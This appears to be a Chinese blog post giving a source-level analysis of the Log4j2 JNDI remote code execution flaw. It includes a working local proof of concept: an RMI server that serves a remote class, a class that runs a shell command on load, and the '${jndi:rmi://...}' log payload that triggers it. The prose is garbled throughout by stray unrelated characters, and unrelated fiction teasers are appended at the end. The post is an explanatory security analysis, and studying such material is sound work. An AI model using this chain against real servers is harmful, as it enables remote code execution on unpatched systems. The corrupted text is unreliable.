Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞源碼級分析

漏洞的前因后果

2021 年 12 月 9 日烘苹,2021 年 11 月 24 日,阿里云安全團隊向 Apache 官方報告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞蝇刀。詳情見 【漏洞預(yù)警】Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞

漏洞描述

Apache Log4j2 是一款優(yōu)秀的 Java 日志框架螟加。2021 年 11 月 24 日,阿里云安全團隊向 Apache 官方報告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞吞琐。由于 Apache Log4j2 某些功能存在遞歸解析功能捆探,攻擊者可直接構(gòu)造惡意請求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞站粟。漏洞利用無需特殊配置黍图,經(jīng)阿里云安全團隊驗證,Apache Struts2奴烙、Apache Solr助被、Apache Druid剖张、Apache Flink 等均受影響。阿里云應(yīng)急響應(yīng)中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊揩环。

漏洞評級

Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞 嚴(yán)重搔弄。

影響版本

Apache Log4j 2.x <= 2.14.1

安全建議

1、升級 Apache Log4j2 所有相關(guān)應(yīng)用到最新的 log4j-2.15.0-rc1 版本丰滑,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

2顾犹、升級已知受影響的應(yīng)用及組件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid褒墨。

本地復(fù)現(xiàn)漏洞

首先需要使用低版本的 log4j 包炫刷,我們在本地新建一個 Spring Boot 項目,使用 2.5.7 版本的 Spring Boot郁妈,可以看到一老的 log4j 是 2.14.1浑玛,可以復(fù)現(xiàn)漏洞。

image

參考 Apache Log4j Lookups噩咪,我們先使用代碼在 log 里獲取一下 java:vm顾彰。

本地打印 JVM 基礎(chǔ)信息

image
@SpringBootTest
class Log4jApplicationTests {

    private static final Logger logger = LogManager.getLogger(SpringBootTest.class);

    @Test
    void log4j() {
        logger.info("content {}", "${java:vm}");
    }
}

可以發(fā)現(xiàn)輸出是:

content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)

使用 JavaLookup 獲取到了 JVM 的相關(guān)信息(需要使用java前綴)。

本地獲取服務(wù)器的打印信息

本地啟動一個 RMI 服務(wù):

public class Server {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:8081/";
        // Reference 需要傳入三個參數(shù) (className,factory,factoryLocation)
        // 第一個參數(shù)隨意填寫即可剧腻,第二個參數(shù)填寫我們 http 服務(wù)下的類名拘央,第三個參數(shù)填寫我們的遠(yuǎn)程地址
        Reference reference = new Reference("ExecCalc", "ExecCalc", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("calc", referenceWrapper);
    }
}

ExecCalc 類直接放在根目錄,不能申請包名书在,即不能存在 package xxx。聲明后編譯的 class 文件函數(shù)名稱會加上包名從而不匹配拆又。參考 Java 安全-RMI-JNDI 注入儒旬。

public class ExecCalc {
    static {
        try {
            System.out.println("open a Calculator!");
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

之后啟動上面的 Server 類,再執(zhí)行下面的代碼:

@Test
void log4jEvil() {
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}

發(fā)現(xiàn)測試用例的控制臺輸出了 open a Calculator! 并啟動了計算器帖族。

image

log4j 漏洞源碼分析

只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}"); 這段代碼栈源,首先會調(diào)用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        callAppenders(event);
    }
    logParent(event, predicate);
}

其中 LogEvent 結(jié)構(gòu)如下:

image

encode 對應(yīng)的事件,將 ${param} 里的 param 解析出來竖般,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend

private void tryAppend(final LogEvent event) {
    if (Constants.ENABLE_DIRECT_ENCODERS) {
        directEncodeEvent(event);
    } else {
        writeByteArrayToManager(event);
    }
}

protected void directEncodeEvent(final LogEvent event) {
    getLayout().encode(event, manager);
    if (this.immediateFlush || event.isEndOfBatch()) {
        manager.flush();
    }
}

調(diào)用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable甚垦,將對應(yīng)參數(shù)解析出結(jié)果。

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                    final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}
image

和官方文檔上是能夠?qū)?yīng)上的涣雕,即 log 里只解析前綴為 date艰亮、jndi 等的命令,本文的測試用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}挣郭。

image

解析出參數(shù)的結(jié)果迄埃, org.apache.logging.log4j.core.lookup.Interpolator#lookup

@Override
public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    }
    return null;
}

其核心是這段代碼:

value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);

org.apache.logging.log4j.core.lookup.JndiLookup#lookup

image

接下來就是調(diào)用 javax.naming 的 JDK 相關(guān)代碼,遠(yuǎn)程加載了 ExecCalc 類兑障,在本地輸出了 open a Calculator! 并啟動了計算器侄非。

擴展:JNDI

JNDI (Java Naming and Directory Interface) 是一組應(yīng)用程序接口蕉汪,它為開發(fā)人員查找和訪問各種資源提供了統(tǒng)一的通用接口,可以用來定位用戶逞怨、網(wǎng)絡(luò)者疤、機器、對象和服務(wù)等各種資源叠赦。比如可以利用 JNDI 在局域網(wǎng)上定位一臺打印機宛渐,也可以用 JNDI 來定位數(shù)據(jù)庫服務(wù)或一個遠(yuǎn)程 Java 對象。JNDI 底層支持 RMI 遠(yuǎn)程對象眯搭,RMI 注冊的服務(wù)可以通過 JNDI 接口來訪問和調(diào)用窥翩。

JNDI 是應(yīng)用程序設(shè)計的 Api,JNDI 可以根據(jù)名字動態(tài)加載數(shù)據(jù)鳞仙,支持的服務(wù)主要有以下幾種:DNS寇蚊、LDAP、 CORBA 對象服務(wù)棍好、RMI 等等仗岸。

其應(yīng)用場景比如:動態(tài)加載數(shù)據(jù)庫配置文件,從而保持?jǐn)?shù)據(jù)庫代碼不變動等借笙。

image

危害是什么扒怖?

  1. client 可以獲取服務(wù)器的某些信息,通過 JNDI 遠(yuǎn)程加載類
  2. client 向服務(wù)器注入惡意代碼

GitHub 項目

Java 編程思想-最全思維導(dǎo)圖-GitHub 下載鏈接业稼,需要的小伙伴可以自取~

原創(chuàng)不易盗痒,希望大家轉(zhuǎn)載時請先聯(lián)系我,并標(biāo)注原文鏈接低散。

參考鏈接

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末俯邓,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子熔号,更是在濱河造成了極大的恐慌稽鞭,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,104評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件引镊,死亡現(xiàn)場離奇詭異朦蕴,居然都是意外死亡,警方通過查閱死者的電腦和手機弟头,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,816評論 3 399
  • 文/潘曉璐 我一進店門吩抓,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人亮瓷,你說我怎么就攤上這事琴拧。” “怎么了嘱支?”我有些...
    開封第一講書人閱讀 168,697評論 0 360
  • 文/不壞的土叔 我叫張陵蚓胸,是天一觀的道長挣饥。 經(jīng)常有香客問我,道長沛膳,這世上最難降的妖魔是什么扔枫? 我笑而不...
    開封第一講書人閱讀 59,836評論 1 298
  • 正文 為了忘掉前任,我火速辦了婚禮锹安,結(jié)果婚禮上短荐,老公的妹妹穿的比我還像新娘。我一直安慰自己叹哭,他們只是感情好忍宋,可當(dāng)我...
    茶點故事閱讀 68,851評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著风罩,像睡著了一般糠排。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上超升,一...
    開封第一講書人閱讀 52,441評論 1 310
  • 那天入宦,我揣著相機與錄音,去河邊找鬼室琢。 笑死乾闰,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的盈滴。 我是一名探鬼主播涯肩,決...
    沈念sama閱讀 40,992評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼雹熬!你這毒婦竟也來了宽菜?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,899評論 0 276
  • 序言:老撾萬榮一對情侶失蹤竿报,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后继谚,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體烈菌,經(jīng)...
    沈念sama閱讀 46,457評論 1 318
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,529評論 3 341
  • 正文 我和宋清朗相戀三年花履,在試婚紗的時候發(fā)現(xiàn)自己被綠了芽世。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,664評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡诡壁,死狀恐怖济瓢,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情妹卿,我是刑警寧澤旺矾,帶...
    沈念sama閱讀 36,346評論 5 350
  • 正文 年R本政府宣布蔑鹦,位于F島的核電站,受9級特大地震影響箕宙,放射性物質(zhì)發(fā)生泄漏嚎朽。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,025評論 3 334
  • 文/蒙蒙 一柬帕、第九天 我趴在偏房一處隱蔽的房頂上張望哟忍。 院中可真熱鬧,春花似錦陷寝、人聲如沸锅很。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,511評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽爆安。三九已至,卻和暖如春饶火,著一層夾襖步出監(jiān)牢的瞬間鹏控,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,611評論 1 272
  • 我被黑心中介騙來泰國打工肤寝, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留当辐,地道東北人。 一個月前我還...
    沈念sama閱讀 49,081評論 3 377
  • 正文 我出身青樓鲤看,卻偏偏與公主長得像缘揪,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子义桂,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,675評論 2 359

推薦閱讀更多精彩內(nèi)容